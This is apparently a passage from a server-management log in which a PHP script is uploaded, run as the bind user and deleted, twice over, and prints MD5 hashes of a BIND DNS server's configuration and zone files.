MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:29:05: Establishing a connection
2026-04-25 19:29:05: 

PUT: /tmp/pkp981148

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:29:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp981148; rm /tmp/pkp981148'

2026-04-25 19:29:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:29:07: Establishing a connection
2026-04-25 19:29:07: 

PUT: /tmp/pkp962708

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:29:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp962708; rm /tmp/pkp962708'

2026-04-25 19:29:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
